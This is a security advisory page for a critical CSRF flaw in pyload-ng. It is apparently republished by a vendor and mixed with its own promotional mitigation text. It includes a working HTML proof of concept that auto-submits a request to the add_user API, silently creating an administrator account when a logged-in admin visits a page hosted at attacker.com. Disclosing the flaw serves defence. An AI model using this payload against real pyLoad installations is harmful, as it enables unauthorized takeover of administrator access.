GHSA-pgpj-v85q-h5fm
CRITICALCross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC
We host the following HTML file on an attacker-controlled server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev78 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pyload-ng to 0.5.0b3.dev78 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pgpj-v85q-h5fm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pgpj-v85q-h5fm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pgpj-v85q-h5fm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pgpj-v85q-h5fm in your dependencies?
O3 detects GHSA-pgpj-v85q-h5fm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.